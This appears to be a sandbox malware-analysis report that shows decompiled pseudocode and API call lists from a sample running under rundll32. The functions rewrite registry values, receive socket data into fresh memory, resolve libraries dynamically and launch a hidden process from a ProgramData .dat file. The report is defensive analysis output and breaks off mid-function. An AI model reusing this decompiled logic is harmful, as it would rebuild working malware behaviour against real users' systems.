0x04a0990d
0x04a09914
0x04a09915
0x04a09915
0x04a09915
0x04a0991d
0x04a0991d
0x04a0991d
0x04a09925
0x04a09925
0x04a09925
0x04a0992b
0x04a0992d
0x04a0992d
0x04a0992d
0x04a0994d
0x04a0994d
0x04a0994d
0x04a0995b
0x04a0995c
0x04a0995d
0x04a0995e
0x04a0995f
0x04a09960
0x04a09966
0x04a09967
0x04a09968
0x04a09969
0x04a0996b
0x04a09972
0x04a0997a
0x04a0997c
0x04a0997f
0x04a0998d
0x04a09991
0x04a09999
0x04a0999b
0x04a099a1
0x04a099a3
0x04a099f2
0x04a099f3
0x04a099f9
0x04a099fa
0x04a099fb
0x04a099fd
0x04a099fe
0x04a09a04
0x04a099a5
0x04a099a5
0x04a099a6
0x04a099b0
0x04a099b0
0x04a099b4
0x00000000
0x00000000
0x04a099b6
0x04a099bc
0x04a099be
0x04a099c0
0x00000000
0x04a099c2
0x04a099c2
0x04a099c4
0x04a099ca
0x04a099cb
0x04a099cc
0x04a099ce
0x04a099cf
0x04a099d5
0x04a099d5
0x00000000
0x04a099c0
0x04a099e6
0x04a099ec
0x04a099f1
0x00000000
0x04a099f1
0x04a09981
0x04a09981
0x04a09982
0x04a09983
0x04a09983
0x04a09985
0x04a09986
0x04a0998c
0x04a0998c
0x00000000
0x00000000
0x00000000
0x00000000
0x04a09721
0x04a09723
0x04a09727
0x04a09729
0x04a09731
0x04a09733
0x04a0981d
0x04a0981d
0x04a09823
0x04a09825
0x00000000
0x04a0982b
0x04a0982c
0x04a09832
0x04a09834
0x04a09836
0x04a0983d
0x00000000
0x04a09843
0x04a09843
0x04a09845
0x00000000
0x04a0984b
0x04a0984b
0x04a09852
0x04a09854
0x04a09856
0x00000000
0x04a0985c
0x04a0985f
0x04a0986c
0x04a09872
0x04a09879
0x04a09586
0x04a0958b
0x04a09591
0x04a09597
0x04a0959c
0x04a0959d
0x04a0959e
0x04a0959f
0x04a095a5
0x04a095a5
0x04a09856
0x04a09845
0x04a0983d
0x04a09739
0x04a09739
0x04a0973d
0x04a09745
0x04a09746
0x04a09748
0x04a0974a
0x04a0974e
0x04a09756
0x04a09757
0x04a09758
0x04a0975c
0x04a09760
0x04a09768
0x04a0976d
0x04a09773
0x04a09776
0x04a09780
0x04a09780
0x04a09782
0x04a09783
0x04a09784
0x04a09785
0x04a0978b
0x04a0978d
0x00000000
0x00000000
0x04a09793
0x04a09795
0x04a09795
0x04a09797
0x00000000
0x04a09799
0x04a09799
0x04a0979f
0x04a097b2
0x04a097b8
0x04a097ba
0x04a097be
0x04a097d5
0x04a097d7
0x04a097d9
0x04a097d9
0x04a097da
0x04a097da
0x04a097e0
0x04a097e2
0x00000000
0x04a097e4
0x04a097ee
0x04a097f0
0x04a097f2
0x00000000
0x04a097f8
0x04a097fa
0x04a097fe
0x04a0980b
0x04a0980f
0x04a09810
0x04a09812
0x04a09813
0x04a096f1
0x04a096f5
0x04a096fb
0x04a096fd
0x00000000
0x04a09703
0x04a0970a
0x04a0970f
0x04a09710
0x04a09711
0x04a09712
0x04a09718
0x04a09718
0x04a096fd
0x04a097f2
0x04a097e2
0x00000000
0x04a09797
0x04a09780
0x00000000
0x04a09776
0x00000000
0x00000000
0x04a0969f
0x04a096a4
0x04a096a5
0x04a096a6
0x04a096a7
0x04a096ad
0x00000000
0x00000000
0x04a098d8
0x04a098de
0x04a098e5
0x04a098ea
0x04a098f9
0x00000000
0x00000000
0x04a09884
0x04a09885
0x04a0988a
0x04a0988a
0x04a0988a
0x00000000
0x04a09418
0x00000000

APIs

CreateThread.KERNEL32 ref: 04A09445
lstrcatW.KERNEL32(?), ref: 04A094C2
lstrlenW.KERNEL32(?), ref: 04A094D0
lstrlenW.KERNEL32(00000000), ref: 04A09533
EnterCriticalSection.KERNEL32(04A16714), ref: 04A09573
LeaveCriticalSection.KERNEL32(04A16714), ref: 04A09591
ShellExecuteW.SHELL32(00000000,?,00000000,00000000,00000001), ref: 04A095F4
lstrcatW.KERNEL32(?), ref: 04A09624
lstrlenW.KERNEL32(?), ref: 04A09632
CreateThread.KERNEL32 ref: 04A096F5
CloseHandle.KERNEL32(00000000), ref: 04A09704
ExitProcess.KERNEL32 ref: 04A0971B

Memory Dump Source

Source File: 00000007.00000002.380346351.0000000004A01000.00000020.00001000.00020000.00000000.sdmp, Offset: 04A00000, based on PE: true

Associated: 00000007.00000002.380338831.0000000004A00000.00000004.00001000.00020000.00000000.sdmpDownload File
Associated: 00000007.00000002.380357902.0000000004A0F000.00000002.00001000.00020000.00000000.sdmpDownload File
Associated: 00000007.00000002.380387384.0000000004A15000.00000004.00001000.00020000.00000000.sdmpDownload File
Associated: 00000007.00000002.380395863.0000000004A1B000.00000002.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_7_2_4a00000_rundll32.jbxd

Similarity

API ID: lstrlen$CreateCriticalSectionThreadlstrcat$CloseEnterExecuteExitHandleLeaveProcessShell
String ID:
API String ID: 498541711-0
Opcode ID: 3ca443194e98585adafd84737a626912bf24616ba02c6728edab531732234b18
Instruction ID: d04635900cd15fe185b870532900cd85ae95c3991ecd5ef977c04c402722590d
Opcode Fuzzy Hash: 3ca443194e98585adafd84737a626912bf24616ba02c6728edab531732234b18
Instruction Fuzzy Hash: 5271D4B1605301ABE7309B14FD84BDB77ECEB94710F044429FA04D22D1EB79B94ACBA2

Uniqueness

Uniqueness Score: -1.00%

Function 04A01D40 Relevance: 18.1, APIs: 12, Instructions: 102
registrystringCOMMON

Download Yara Rule

C-Code - Quality: 95%

			E04A01D40() {
				char _v260;
				char _v360;
				int _v364;
				long _v368;
				void* _v372;
				void* _v376;
				long _t29;
				long _t31;
				int _t50;
				int _t58;
				void* _t61;
				void** _t67;
				void* _t71;

				_t67 =  &_v376;
				_t29 = RegOpenKeyExA(0x80000001,  *0x4a16b80, 0, 0xf003f,  &_v372);
				if(_t29 != 0) {
					return _t29;
				}
				_t58 = 0;
				_t31 = RegEnumKeyA(_v372, 0,  &_v360, 0x64);
				if(_t31 != 0) {
					L10:
					return _t31;
				} else {
					_t61 = lstrcatA;
					do {
						_v364 = lstrlenA( &_v360);
						lstrcatA( &_v360,  *0x4a16b8c);
						_v368 = 0x104;
						if(RegOpenKeyExA(_v372,  &_v360, 0, 0x20019,  &_v376) == 0) {
							RegQueryValueA(_v376, 0,  &_v260,  &_v368);
							asm("sbb esi, esi");
							RegCloseKey(_v376);
							_t71 = _t61 + 1;
							_t61 = lstrcatA;
							if(_t71 != 0 && _v368 != 0) {
								 *((char*)(_t67 + _v364 + 0x24)) = 0;
								lstrcatA( &_v360,  *0x4a16b88);
								_t50 = RegOpenKeyExA(_v372,  &_v360, 0, 0x20006,  &_v376);
								if(_t50 == 0) {
									RegSetValueA(_v376, 0, 1,  &_v260, _t50);
									RegCloseKey(_v376);
								}
							}
						}
						_t58 = _t58 + 1;
						_t31 = RegEnumKeyA(_v372, _t58,  &_v360, 0x64);
					} while (_t31 == 0);
					goto L10;
				}
			}

0x04a01d40
0x04a01d5d
0x04a01d65
0x04a01e8f
0x04a01e8f
0x04a01d7a
0x04a01d81
0x04a01d85
0x04a01e87
0x00000000
0x04a01d8b
0x04a01d93
0x04a01da0
0x04a01db1
0x04a01dba
0x04a01dc0
0x04a01de1
0x04a01dfa
0x04a01e06
0x04a01e08
0x04a01e0a
0x04a01e0d
0x04a01e13
0x04a01e26
0x04a01e30
0x04a01e47
0x04a01e4f
0x04a01e62
0x04a01e6c
0x04a01e6c
0x04a01e4f
0x04a01e13
0x04a01e74
0x04a01e7b
0x04a01e7d
0x00000000
0x04a01e86

APIs

RegOpenKeyExA.ADVAPI32(80000001,00000000,000F003F,?), ref: 04A01D5D
RegEnumKeyA.ADVAPI32(?,00000000,?,00000064), ref: 04A01D81
lstrlenA.KERNEL32(?), ref: 04A01DA5
lstrcatA.KERNEL32(?), ref: 04A01DBA
RegOpenKeyExA.ADVAPI32(?,?,00000000,00020019,?), ref: 04A01DD9
RegQueryValueA.ADVAPI32(?,00000000,?,00000104), ref: 04A01DFA
RegCloseKey.ADVAPI32(?), ref: 04A01E08
lstrcatA.KERNEL32(00000000), ref: 04A01E30
RegOpenKeyExA.ADVAPI32(00000000,?,00000000,00020006,?), ref: 04A01E47
RegSetValueA.ADVAPI32(?,00000000,00000001,?,00000000), ref: 04A01E62
RegCloseKey.ADVAPI32(?), ref: 04A01E6C
RegEnumKeyA.ADVAPI32(?,00000001,?,00000064), ref: 04A01E7B

Memory Dump Source

Source File: 00000007.00000002.380346351.0000000004A01000.00000020.00001000.00020000.00000000.sdmp, Offset: 04A00000, based on PE: true

Associated: 00000007.00000002.380338831.0000000004A00000.00000004.00001000.00020000.00000000.sdmpDownload File
Associated: 00000007.00000002.380357902.0000000004A0F000.00000002.00001000.00020000.00000000.sdmpDownload File
Associated: 00000007.00000002.380387384.0000000004A15000.00000004.00001000.00020000.00000000.sdmpDownload File
Associated: 00000007.00000002.380395863.0000000004A1B000.00000002.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_7_2_4a00000_rundll32.jbxd

Similarity

API ID: Open$CloseEnumValuelstrcat$Querylstrlen
String ID:
API String ID: 2689507121-0
Opcode ID: ddde4f3e41730f0980def7108bcf8dc11e3487fe205d899911e54d795d52fd06
Instruction ID: 751a71f7ffa123bc3715bd3109d8e35458bbdcf0de5f830440f68cb9beebde5c
Opcode Fuzzy Hash: ddde4f3e41730f0980def7108bcf8dc11e3487fe205d899911e54d795d52fd06
Instruction Fuzzy Hash: 70311B72504305AFE720CF50EC44FABBBEDEB98754F404929F688E2090DB75E94ACB52

Uniqueness

Uniqueness Score: -1.00%

Function 04A08A70 Relevance: 16.7, APIs: 11, Instructions: 153networkmemoryCOMMON

Download Yara Rule

APIs

select.WS2_32 ref: 04A08AB9
recv.WS2_32(?,?,00000004,00000000), ref: 04A08ACD
select.WS2_32 ref: 04A08B18
recv.WS2_32(?,?,00000004,00000000), ref: 04A08B2C
VirtualAlloc.KERNEL32(00000004,00000000,00003000,00000004,?,?,00000004,00000000), ref: 04A08B5B
LocalAlloc.KERNEL32(00000000,00000000,?,?,00000004,00000000), ref: 04A08B66
WSAGetLastError.WS2_32(00000000,?), ref: 04A08B9A
WSAGetLastError.WS2_32(?,?,?,?,?,?), ref: 04A08C3E

Memory Dump Source

Source File: 00000007.00000002.380346351.0000000004A01000.00000020.00001000.00020000.00000000.sdmp, Offset: 04A00000, based on PE: true

Associated: 00000007.00000002.380338831.0000000004A00000.00000004.00001000.00020000.00000000.sdmpDownload File
Associated: 00000007.00000002.380357902.0000000004A0F000.00000002.00001000.00020000.00000000.sdmpDownload File
Associated: 00000007.00000002.380387384.0000000004A15000.00000004.00001000.00020000.00000000.sdmpDownload File
Associated: 00000007.00000002.380395863.0000000004A1B000.00000002.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_7_2_4a00000_rundll32.jbxd

Similarity

API ID: AllocErrorLastrecvselect$LocalVirtual
String ID:
API String ID: 2880006783-0
Opcode ID: fc9fe9fddc55881e7589770d686a5578b73877d8e81433ca829679dfd6d6b990
Instruction ID: 8fa77d71ae80aa6576bc8f97ef1222cfb22e072d388ff9fe1514cc38b8862de4
Opcode Fuzzy Hash: fc9fe9fddc55881e7589770d686a5578b73877d8e81433ca829679dfd6d6b990
Instruction Fuzzy Hash: 0E5192B52053419FE720AF25EC88BABBBE8FB89355F400469F948C7280DB7E9805CB55

Uniqueness

Uniqueness Score: -1.00%

Function 04A05017 Relevance: 15.8, APIs: 8, Strings: 1, Instructions: 97
libraryloaderstringCOMMON

Download Yara Rule

C-Code - Quality: 64%

			E04A05017(void* __eax, void* __edi, intOrPtr _a20, intOrPtr _a24, intOrPtr _a28, char _a136, intOrPtr _a2012) {
				struct HINSTANCE__* _t16;
				int _t17;
				struct HINSTANCE__* _t25;
				signed int _t29;
				intOrPtr* _t30;
				void* _t31;
				int _t33;
				void* _t34;
				int _t36;
				void* _t39;

				_t31 = __edi;
				_t34 = 0;
				_a24 = 0;
				_a28 = 0;
				_t16 = LoadLibraryA(??);
				if(_t16 <= 0x20) {
					L8:
					_t17 = LoadLibraryA( *0x4a16a78);
					_t25 = _t17;
					if(_t25 > 0x20) {
						if(_t31 == 0xfffffffe) {
							_t17 = GetProcAddress(_t25,  *0x4a16a90);
							if(_t17 != 0) {
								_t17 =  *_t17();
								_t34 =  !=  ? 1 : _t34;
							}
						}
					}
					if(_a2012 == 0) {
						_push(_t34);
						_push(_a28);
						_t17 = E04A01200( &_a136, "OK %08lx %08lx %d", _a24);
						_t36 = _t17;
						_t39 = _t39 + 0x14;
						if(_t36 == 0) {
							_t17 = lstrlenA( &_a136);
							_t36 = _t17;
						}
						if( *0x4a1672c != 0 && _t36 != 0) {
							_t17 = E04A011D0(_t36);
							_t33 = _t17;
							if(_t33 != 0) {
								_t17 = E04A01000(_t33,  &_a136, _t36);
								_t39 = _t39 + 0xc;
								EnterCriticalSection(0x4a16714);
								 *0x4a165fc = 5;
								 *0x4a16601 = _t36;
								 *0x4a165fd = _t33;
								LeaveCriticalSection(0x4a16714);
							}
						}
					}
					return _t17;
				}
				_t30 = GetProcAddress(_t16,  *0x4a16a74);
				if(_t30 == 0) {
					goto L8;
				}
				_t29 = __edi + 4;
				if(_t29 > 3) {
					goto L8;
				}
				switch( *((intOrPtr*)(_t29 * 4 +  &M04A05550))) {
					case 0:
						goto L7;
					case 1:
						goto L7;
					case 2:
						L7:
						_push(0);
						_a20 =  *_t30();
						goto L8;
				}
			}

0x04a05017
0x04a05022
0x04a05024
0x04a0502c
0x04a05034
0x04a0503f
0x04a05076
0x04a0507c
0x04a0507e
0x04a05083
0x04a0509c
0x04a050a5
0x04a050a9
0x04a050ab
0x04a050b4
0x04a050b4
0x04a050a9
0x04a0509c
0x04a050bf
0x04a050c5
0x04a050c6
0x04a050db
0x04a050e0
0x04a050e2
0x04a050e7
0x04a050f1
0x04a050f7
0x04a050f7
0x04a05100
0x04a05110
0x04a05115
0x04a05119
0x04a05129
0x04a0512e
0x04a05136
0x04a0513c
0x04a05143
0x04a05149
0x04a05432
0x04a05432
0x04a05119
0x04a05100
0x04a05442
0x04a05442
0x04a0504a
0x04a0504e
0x00000000
0x00000000
0x04a05050
0x04a05056
0x00000000
0x00000000
0x04a05058
0x00000000
0x00000000
0x00000000
0x00000000
0x00000000
0x04a0506f
0x04a0506f
0x04a05072
0x00000000
0x00000000

APIs

LoadLibraryA.KERNEL32 ref: 04A05034
GetProcAddress.KERNEL32(00000000), ref: 04A05048
LoadLibraryA.KERNEL32 ref: 04A0507C
GetProcAddress.KERNEL32(00000000), ref: 04A0508C
GetProcAddress.KERNEL32(00000000), ref: 04A050A5
lstrlenA.KERNEL32(?), ref: 04A050F1
EnterCriticalSection.KERNEL32(04A16714), ref: 04A05136
LeaveCriticalSection.KERNEL32(04A16714), ref: 04A05432

Strings

OK %08lx %08lx %d, xrefs: 04A050D5

Memory Dump Source

Source File: 00000007.00000002.380346351.0000000004A01000.00000020.00001000.00020000.00000000.sdmp, Offset: 04A00000, based on PE: true

Associated: 00000007.00000002.380338831.0000000004A00000.00000004.00001000.00020000.00000000.sdmpDownload File
Associated: 00000007.00000002.380357902.0000000004A0F000.00000002.00001000.00020000.00000000.sdmpDownload File
Associated: 00000007.00000002.380387384.0000000004A15000.00000004.00001000.00020000.00000000.sdmpDownload File
Associated: 00000007.00000002.380395863.0000000004A1B000.00000002.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_7_2_4a00000_rundll32.jbxd

Similarity

API ID: AddressProc$CriticalLibraryLoadSection$EnterLeavelstrlen
String ID: OK %08lx %08lx %d
API String ID: 3361844086-1451610572
Opcode ID: a79156935ea7c998fb794f5e70d55b3c913461f710aa95add0dfd68f04d4afff
Instruction ID: 7768c03d93a01d59d810be28a921b187ae668def9690e556b17c34ecaaff2fe8
Opcode Fuzzy Hash: a79156935ea7c998fb794f5e70d55b3c913461f710aa95add0dfd68f04d4afff
Instruction Fuzzy Hash: 4731F571D01312AFE720DF64F8447AE76A5EB98351F80C429F905D6190EB7AE8428FA1

Uniqueness

Uniqueness Score: -1.00%

Function 04A03520 Relevance: 15.8, APIs: 7, Strings: 2, Instructions: 67
stringprocessCOMMON

Download Yara Rule

C-Code - Quality: 100%

			E04A03520() {
				short _v1024;
				short _v2064;
				struct _STARTUPINFOW _v2132;
				struct _PROCESS_INFORMATION _v2148;
				int _t32;
				void* _t33;
				void* _t34;
				int _t41;

				lstrcpyW( &_v2064,  *0x4a1692c);
				lstrcatW( &_v2064, "C:\ProgramData\435f8fae.dat");
				lstrcatW( &_v2064,  *0x4a16934);
				_v1024 = 0;
				lstrcpyW( &_v1024,  &_v2064);
				E04A010D0( &_v2132, 0, 0x44);
				_v2132.cb = 0x44;
				_v2132.dwFlags = 1;
				_v2132.wShowWindow = 0;
				_t32 = CreateProcessW(0,  &_v1024, 0, 0, 0, 0, 0, 0,  &_v2132,  &_v2148);
				_t41 = _t32;
				if(_t41 != 0) {
					_t33 = _v2148.hThread;
					if(_t33 != 0) {
						CloseHandle(_t33);
					}
					_t34 = _v2148.hProcess;
					if(_t34 != 0) {
						CloseHandle(_t34);
					}
					return _t41;
				}
				return _t32;
			}

0x04a03539
0x04a0354b
0x04a03558
0x04a0355c
0x04a03571
0x04a0357c
0x04a03584
0x04a0358e
0x04a03596
0x04a035bb
0x04a035c1
0x04a035c5
0x04a035c7
0x04a035d3
0x04a035d6
0x04a035d6
0x04a035d8
0x04a035de
0x04a035e1
0x04a035e1
0x00000000
0x04a035e3
0x04a035ed

APIs

lstrcpyW.KERNEL32 ref: 04A03539
lstrcatW.KERNEL32(?,C:\ProgramData\435f8fae.dat), ref: 04A0354B
lstrcatW.KERNEL32(?), ref: 04A03558
lstrcpyW.KERNEL32 ref: 04A03571
CreateProcessW.KERNEL32 ref: 04A035BB
CloseHandle.KERNEL32(?), ref: 04A035D6
CloseHandle.KERNEL32(?), ref: 04A035E1

Strings

C:\ProgramData\435f8fae.dat, xrefs: 04A03545
D, xrefs: 04A03584

Memory Dump Source

Source File: 00000007.00000002.380346351.0000000004A01000.00000020.00001000.00020000.00000000.sdmp, Offset: 04A00000, based on PE: true

Associated: 00000007.00000002.380338831.0000000004A00000.00000004.00001000.00020000.00000000.sdmpDownload File
Associated: 00000007.00000002.380357902.0000000004A0F000.00000002.00001000.00020000.00000000.sdmpDownload File
Associated: 00000007.00000002.380387384.0000000004A15000.00000004.00001000.00020000.00000000.sdmpDownload File
Associated: 00000007.00000002.380395863.0000000004A1B000.00000002.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_7_2_4a00000_rundll32.jbxd

Similarity

API ID: CloseHandlelstrcatlstrcpy$CreateProcess
String ID: C:\ProgramData\435f8fae.dat$D
API String ID: 108946049-2833318034
Opcode ID: 1b95cfeb40713042f6e85f60c7942538392fbd52384bec8c60fc318721671aad
Instruction ID: a3c38ada461e218d5dc5882c7dab79974a028499e7741d12b6a408b3d867c699
Opcode Fuzzy Hash: 1b95cfeb40713042f6e85f60c7942538392fbd52384bec8c60fc318721671aad
Instruction Fuzzy Hash: F0115E71605349AFDB20DBA5DC44F9BB7ECEF84700F04482AF688D3250EA79E509CB92

Uniqueness

Uniqueness Score: -1.00%

Function 04A07070 Relevance: 15.1, APIs: 10, Instructions: 60
sleepsynchronizationthreadCOMMON

Download Yara Rule

C-Code - Quality: 100%

			E04A07070(void* __ebx, long _a4) {
				void _v8;
				void* _t9;
				void* _t12;
				void* _t15;

				_t12 = __ebx;
				_t15 = _a4;
				E04A01000( &_v8, _t15, 6);
				if(_t15 != 0) {
					LocalFree(_t15);
				}
				E04A06E70(_t12);
				if( *0x4a1672c != 0) {
					EnterCriticalSection(0x4a16714);
					 *0x4a165fc = 0;
					 *0x4a16601 = 0;
					 *0x4a165fd = 0;
					 *0x4a1672c = 0;
					LeaveCriticalSection(0x4a16714);
					DeleteCriticalSection(0x4a16714);
					if( *0x4a1672c != 0) {
						EnterCriticalSection(0x4a16714);
						 *0x4a16708 = 0;
						 *0x4a1670d = 0;
						 *0x4a16709 = 0;
						 *0x4a1672c = 0;
						LeaveCriticalSection(0x4a16714);
						DeleteCriticalSection(0x4a16714);
					}
				}
				Sleep(0x7d0);
				_t9 = CreateThread(0, 0, E04A06B50,  &_v8, 0,  &_a4);
				if(_t9 == 0) {
					return _t9;
				} else {
					 *0x4a163e0 = _t9;
					return WaitForSingleObject(_t9, 0xffffffff);
				}
			}

0x04a07070
0x04a07077
0x04a0707f
0x04a07089
0x04a0708c
0x04a0708c
0x04a07097
0x04a070a3
0x04a070b4
0x04a070bb
0x04a070c2
0x04a070cc
0x04a070d6
0x04a070e0
0x04a070eb
0x04a070f8
0x04a070ff
0x04a07106
0x04a0710d
0x04a07117
0x04a07121
0x04a0712b
0x04a07136
0x04a07136
0x04a070f8
0x04a07141
0x04a0715c
0x04a07165
0x04a07178
0x04a07167
0x04a0716a
0x00000000
0x04a0716f

APIs

LocalFree.KERNEL32(?), ref: 04A0708C
EnterCriticalSection.KERNEL32(04A16714), ref: 04A070B4
LeaveCriticalSection.KERNEL32(04A16714), ref: 04A070E0
DeleteCriticalSection.KERNEL32(04A16714), ref: 04A070EB
EnterCriticalSection.KERNEL32(04A16714), ref: 04A070FF
LeaveCriticalSection.KERNEL32(04A16714), ref: 04A0712B
DeleteCriticalSection.KERNEL32(04A16714), ref: 04A07136
Sleep.KERNEL32(000007D0), ref: 04A07141
CreateThread.KERNEL32 ref: 04A0715C
WaitForSingleObject.KERNEL32(00000000,000000FF), ref: 04A0716F

Memory Dump Source

Source File: 00000007.00000002.380346351.0000000004A01000.00000020.00001000.00020000.00000000.sdmp, Offset: 04A00000, based on PE: true

Associated: 00000007.00000002.380338831.0000000004A00000.00000004.00001000.00020000.00000000.sdmpDownload File
Associated: 00000007.00000002.380357902.0000000004A0F000.00000002.00001000.00020000.00000000.sdmpDownload File
Associated: 00000007.00000002.380387384.0000000004A15000.00000004.00001000.00020000.00000000.sdmpDownload File
Associated: 00000007.00000002.380395863.0000000004A1B000.00000002.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_7_2_4a00000_rundll32.jbxd

Similarity

API ID: CriticalSection$DeleteEnterLeave$CreateFreeLocalObjectSingleSleepThreadWait
String ID:
API String ID: 168919969-0
Opcode ID: e8a09e05ae5202faf574687cbea070ae3b4fec3ae28451e4aaff80374e9d729f
Instruction ID: cc5b5ad07a19ca195b86e919186bf102b6bbf3e9e0200a0918e961ddf38fa383
Opcode Fuzzy Hash: e8a09e05ae5202faf574687cbea070ae3b4fec3ae28451e4aaff80374e9d729f
Instruction Fuzzy Hash: D4218CB5501311AFE720AFA0F80DB863AA4FB24755F008019F205EA1E4E7B9284ACFB1

Uniqueness

Uniqueness Score: -1.00%

Function 04A0A610 Relevance: 13.6, APIs: 9, Instructions: 99
windowCOMMON

Download Yara Rule

C-Code - Quality: 100%

			E04A0A610(struct HWND__* __ecx) {
				struct HWND__* _v4;
				struct HWND__* _v8;
				struct HWND__* _t5;
				struct HWND__* _t6;
				struct HMENU__* _t7;
				struct HWND__* _t8;
				int _t9;
				WCHAR* _t13;
				struct HMENU__* _t17;
				struct HWND__* _t21;
				struct HWND__* _t22;
				int _t23;
				struct HWND__* _t25;
				int _t27;
				void* _t31;

				_t5 =  *0x4a176c8; // 0x0
				_t21 = __ecx;
				_v4 = __ecx;
				if(_t5 != 0) {
					_t31 = _t5 -  *0x4a163a0; // 0x0
					if(_t31 != 0) {
						PostMessageW(_t5, 0x201, 0, 0xffffffff);
						PostMessageW( *0x4a176c8, 0x202, 0, 0xffffffff);
					} else {
						_t25 =  *0x4a16420; // 0x0
						if(_t25 != 0) {
							L6:
							PostMessageW(_t25, 0x10, 0, 0);
						} else {
							_t13 = FindWindowW( *0x4a167e8, _t25);
							_t25 = _t13;
							 *0x4a16420 = _t25;
							if(_t25 != 0) {
								goto L6;
							} else {
								_t25 = FindWindowW( *0x4a167ec, _t13);
								if(FindWindowExW(_t25, 0,  *0x4a167f0, 0) == 0) {
									 *0x4a16420 = 0;
								} else {
									 *0x4a16420 = _t25;
									if(_t25 != 0) {
										goto L6;
									}
								}
							}
						}
					}
				}
				_t6 =  *0x4a17698; // 0x0
				if(_t6 == 0) {
					 *0x4a176c8 = _t21;
					return _t6;
				} else {
					_t7 = GetMenu(_t6);
					_t17 = _t7;
					if(_t17 == 0) {
						 *0x4a176c8 = _t21;
						return _t7;
					} else {
						_t8 =  *0x4a17698; // 0x0
						_v8 = _t8;
						_t9 = GetMenuItemCount(_t17);
						_t27 = _t9;
						_t23 = 0;
						if(_t27 > 0) {
							_t22 = _v8;
							do {
								_t9 = HiliteMenuItem(_t22, _t17, _t23, 0x400);
								_t23 = _t23 + 1;
							} while (_t23 < _t27);
							_t21 = _v4;
						}
						 *0x4a176c8 = _t21;
						return _t9;
					}
				}
			}

0x04a0a613
0x04a0a61a
0x04a0a61c
0x04a0a622
0x04a0a628
0x04a0a62e
0x04a0a6ac
0x04a0a6bd
0x04a0a630
0x04a0a630
0x04a0a638
0x04a0a681
0x04a0a688
0x04a0a63a
0x04a0a641
0x04a0a647
0x04a0a649
0x04a0a651
0x00000000
0x04a0a653
0x04a0a668
0x04a0a675
0x04a0a690
0x04a0a677
0x04a0a677
0x04a0a67f
0x00000000
0x00000000
0x04a0a67f
0x04a0a675
0x04a0a651
0x04a0a638
0x04a0a62e
0x04a0a6bf
0x04a0a6c6
0x04a0a725
0x04a0a730
0x04a0a6c8
0x04a0a6ca
0x04a0a6d0
0x04a0a6d4
0x04a0a719
0x04a0a724
0x04a0a6d6
0x04a0a6d6
0x04a0a6dd
0x04a0a6e1
0x04a0a6e7
0x04a0a6e9
0x04a0a6ed
0x04a0a6ef
0x04a0a6f3
0x04a0a6fb
0x04a0a701
0x04a0a702
0x04a0a706
0x04a0a706
0x04a0a70c
0x04a0a717
0x04a0a717
0x04a0a6d4

APIs

FindWindowW.USER32(00000000,00000000), ref: 04A0A641
FindWindowW.USER32(00000000), ref: 04A0A65A
FindWindowExW.USER32(00000000,00000000,00000000), ref: 04A0A66D
PostMessageW.USER32(00000000,00000010,00000000,00000000), ref: 04A0A688
PostMessageW.USER32(00000000,00000201,00000000,000000FF), ref: 04A0A6AC
PostMessageW.USER32(00000202,00000000,000000FF), ref: 04A0A6BD
GetMenu.USER32(00000000), ref: 04A0A6CA
GetMenuItemCount.USER32 ref: 04A0A6E1
HiliteMenuItem.USER32(?,00000000,00000000,00000400), ref: 04A0A6FB

Memory Dump Source

Source File: 00000007.00000002.380346351.0000000004A01000.00000020.00001000.00020000.00000000.sdmp, Offset: 04A00000, based on PE: true

Associated: 00000007.00000002.380338831.0000000004A00000.00000004.00001000.00020000.00000000.sdmpDownload File
Associated: 00000007.00000002.380357902.0000000004A0F000.00000002.00001000.00020000.00000000.sdmpDownload File
Associated: 00000007.00000002.380387384.0000000004A15000.00000004.00001000.00020000.00000000.sdmpDownload File
Associated: 00000007.00000002.380395863.0000000004A1B000.00000002.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_7_2_4a00000_rundll32.jbxd

Similarity

API ID: FindMenuMessagePostWindow$Item$CountHilite
String ID:
API String ID: 3754372523-0
Opcode ID: 2a918804ff63b91f3ce8de3498a0989340e1199034ac32728f5025cb269092ef
Instruction ID: 7aa60e541c66994ee41ccf2e4b09d178dd7128fd43e7d62779e4933d77dd2d77
Opcode Fuzzy Hash: 2a918804ff63b91f3ce8de3498a0989340e1199034ac32728f5025cb269092ef
Instruction Fuzzy Hash: 0D31C47A641311AFD720AF18BC44F163BB8F768B60F144115F914E72E0D778AC478BA4

Uniqueness

Uniqueness Score: -1.00%

Function 04A05960 Relevance: 12.3, APIs: 6, Strings: 1, Instructions: 67
libraryloaderstringCOMMON

Download Yara Rule

C-Code - Quality: 82%

			E04A05960(intOrPtr* __ecx, intOrPtr __edx) {
				char _v0;
				signed char _v14;
				char _v16;
				signed char _v18;
				CHAR* _v20;
				CHAR* _v24;
				intOrPtr _t21;
				CHAR* _t24;
				CHAR* _t25;
				_Unknown_base(*)()* _t29;
				char _t35;
				struct HINSTANCE__* _t36;
				CHAR* _t40;
				intOrPtr* _t42;
				intOrPtr _t43;

				_t42 = __ecx;
				_t43 = __edx;
				 *((short*)(__ecx + 0x10)) = 0x706;
				_t21 =  *0x4a163d8; // 0xd06ed635
				 *((intOrPtr*)(__ecx + 0x12)) = _t21;
				 *__ecx = 0xdc0a5625;
				 *((intOrPtr*)(__ecx + 4)) = 0xd8d22f26;
				 *((intOrPtr*)(__ecx + 8)) = 0x8f8baaee;
				lstrcpyA(__ecx + 0x1a, "9.31");
				_t24 =  *0x4a16a38; // 0x4a1972f
				_t40 =  *0x4a16a28; // 0x4a196ef
				_v20 = _t24;
				_t25 =  *0x4a16a2c; // 0x4a196fb
				_v24 = _t25;
				_t36 = GetModuleHandleA( *0x4a16a24);
				if(_t36 == 0 || GetProcAddress(_t36, _t40) == 0 || GetProcAddress(_t36, _v24) == 0) {
					L7:
					ExitThread(0);
				}
				_t29 = GetProcAddress(_t36, _v20);
				if(_t29 == 0) {
					goto L7;
				}
				 *_t29( &_v16);
				 *((char*)(_t42 + 0x18)) = (_v20 & 0x000000ff) + 0x30;
				 *((char*)(_t42 + 0x17)) = _v18 & 0x000000ff;
				 *((char*)(_t42 + 0x16)) = _v14 & 0x000000ff;
				if(_t43 != 0) {
